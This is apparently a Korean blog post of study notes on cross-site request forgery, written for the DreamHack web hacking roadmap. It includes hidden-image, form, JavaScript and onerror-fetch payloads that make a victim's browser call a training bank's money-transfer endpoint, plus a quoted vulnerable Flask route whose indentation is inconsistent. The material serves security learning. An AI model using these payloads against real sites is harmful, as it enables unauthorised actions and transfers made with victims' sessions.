Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Web_Hacking] stage5_CSRF 본문

Hack/DreamHack(로드맵)

[Web_Hacking] stage5_CSRF

CIDY 2022. 7. 28. 05:06

*CSRF(교차 사이트 요청 위조, Cross Site Request Forgery)

임의 이용자의 권한으로 임의 주소에 HTTP요청을 보낼 수 있는 취약점이다.

 

CSRF공격이 성공하려면 이용자가 악성 스크립트(HTTP요청을 보내는 코드)를 실행해야 함 -> 이용자에게 메일을 보내거나, 게시판에 글을 작성해 이용자에게 조회를 유도하는 방법이 있다. 

 

CSRF공격 스크립트는 HTML이나 JS로 작성할 수 있다.

 

HTML을 이용할 경우 img나 form태그를 이용할 수 있다. (img는 이미지를 불러오는 태그, form은 웹 페이지에 입력된 양식을 전송하는 태그)

 

이 태그로 HTTP요청을 보내면 쿠키(HTTP 헤더)에 이용자의 인증 정보가 포함된다.

 

<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
<form action="https://test.dreamhack.io/users/1" method="post">
    <input name="user">
    <input name="pass">
    <input type="submit">
</form>

 

img태그는 이미지 크기를 줄일 수 있는 옵션을 제공하기 때문에 이용자에게 들키지 않고 임의 페이지에 요청을 보내는 것이 가능해진다.

 

 

/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');

 

이건 JS 공격 코드 예시이다.

 

 

 

 

+

이게 뭐람..

 

?

 

<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=10000000' width=0px height=0px>

 

<img src="/sendmoney?to=dreamhack&amount=10000000">

 

<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=10000000');">

 

<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=10000000">

 

 

# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
    # 송금을 받는 사람과 금액을 입력받음.
    to_user = request.args.get('to')
	amount = int(request.args.get('amount'))
	
	# 송금 기능 실행 후, 결과 반환	
	success_status = send_money(to_user, amount)
	
	# 송금이 성공했을 때,
	if success_status:
	    # 성공 메시지 출력
		return "Send success."
	# 송금이 실패했을 때,
	else:
	    # 실패 메시지 출력
		return "Send fail."

 

코드는 이거였는데, /sendmoney 엔드포인트로 가서 인자로 to에 dreamhack(나), amount에 큰 금액 입력해주면 된다. (&로 연결 가능)

 

 

+

XSS의 경우 인증정보(세션/쿠키)탈취가 목적이고, 공격할 사이트의 오리진에서 스크립트를 실행시켜야 하는 반면, CSRF의 경우 임의 페이지에서 HTTP요청을 보내도록 하는 것이 목적이다.